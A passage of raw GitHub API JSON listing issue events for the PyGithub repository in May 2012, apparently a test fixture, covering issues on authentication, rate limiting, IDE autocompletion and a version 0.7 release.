management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/28"},"commit_id":null,"created_at":"2012-05-26T14:58:27Z","event":"assigned","id":16333938,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16292760","issue":{"updated_at":"2012-05-25T17:32:32Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","number":5,"title":"Version 0.7","due_on":"2012-05-26T07:00:00Z","closed_issues":2,"open_issues":0,"created_at":"2012-05-25T11:47:06Z","state":"closed","description":"","id":124045},"number":29,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-25T17:32:32Z","title":"Publish version 0.7","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-25T11:47:59Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4752048,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/29"},"commit_id":null,"created_at":"2012-05-25T17:32:32Z","event":"closed","id":16292760,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16292758","issue":{"updated_at":"2012-05-25T17:32:31Z","body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","number":5,"title":"Version 0.7","due_on":"2012-05-26T07:00:00Z","closed_issues":2,"open_issues":0,"created_at":"2012-05-25T11:47:06Z","state":"closed","description":"","id":124045},"number":15,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-25T17:32:31Z","title":"Implement all authentication schemes","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"created_at":"2012-03-13T06:24:05Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3624575,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/15"},"commit_id":null,"created_at":"2012-05-25T17:32:31Z","event":"closed","id":16292758,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16266502","issue":{"updated_at":"2012-05-25T17:32:32Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","number":5,"title":"Version 0.7","due_on":"2012-05-26T07:00:00Z","closed_issues":2,"open_issues":0,"created_at":"2012-05-25T11:47:06Z","state":"closed","description":"","id":124045},"number":29,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-25T17:32:32Z","title":"Publish version 0.7","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-25T11:47:59Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4752048,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/29"},"commit_id":null,"created_at":"2012-05-25T11:47:59Z","event":"assigned","id":16266502,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16266501","issue":{"updated_at":"2012-05-25T17:32:32Z","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","number":5,"title":"Version 0.7","due_on":"2012-05-26T07:00:00Z","closed_issues":2,"open_issues":0,"created_at":"2012-05-25T11:47:06Z","state":"closed","description":"","id":124045},"number":29,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-25T17:32:32Z","title":"Publish version 0.7","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-25T11:47:59Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4752048,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/29"},"commit_id":null,"created_at":"2012-05-25T11:47:59Z","event":"subscribed","id":16266501,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15883398","issue":{"updated_at":"2012-05-21T12:09:57Z","body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":26,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-21T11:17:12Z","title":"Rate limiting?","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-17T12:02:05Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4622816,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/26"},"commit_id":null,"created_at":"2012-05-21T11:17:12Z","event":"closed","id":15883398,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15820048","issue":{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","closed_issues":3,"open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546},"number":28,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/28"},"commit_id":null,"created_at":"2012-05-19T10:42:25Z","event":"assigned","id":15820048,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975","issue":{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","closed_issues":3,"open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546},"number":28,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/28"},"commit_id":null,"created_at":"2012-05-19T10:38:23Z","event":"subscribed","id":15819975,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15756354","issue":{"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/27","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":27,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Facilitate IDE autocompletion","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-18T10:52:29Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4639931,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/27"},"commit_id":null,"created_at":"2012-05-18T11:06:05Z","event":"subscribed","id":15756354,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15756353","issue":{"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/27","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":27,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Facilitate IDE autocompletion","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-18T10:52:29Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4639931,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/27"},"commit_id":null,"created_at":"2012-05-18T11:06:05Z","event":"assigned","id":15756353,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15755561","issue":{"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/27","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":27,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Facilitate IDE autocompletion","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-18T10:52:29Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4639931,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/27"},"commit_id":null,"created_at":"2012-05-18T10:52:29Z","event":"subscribed","id":15755561,"actor":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15741471","issue":{"updated_at":"2012-05-21T12:09:57Z","body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":26,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-21T11:17:12Z","title":"Rate limiting?","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-17T12:02:05Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4622816,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/26"},"commit_id":null,"created_at":"2012-05-18T05:18:34Z","event":"subscribed","id":15741471,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15741470","issue":{"updated_at":"2012-05-21T12:09:57Z","body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/26","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit 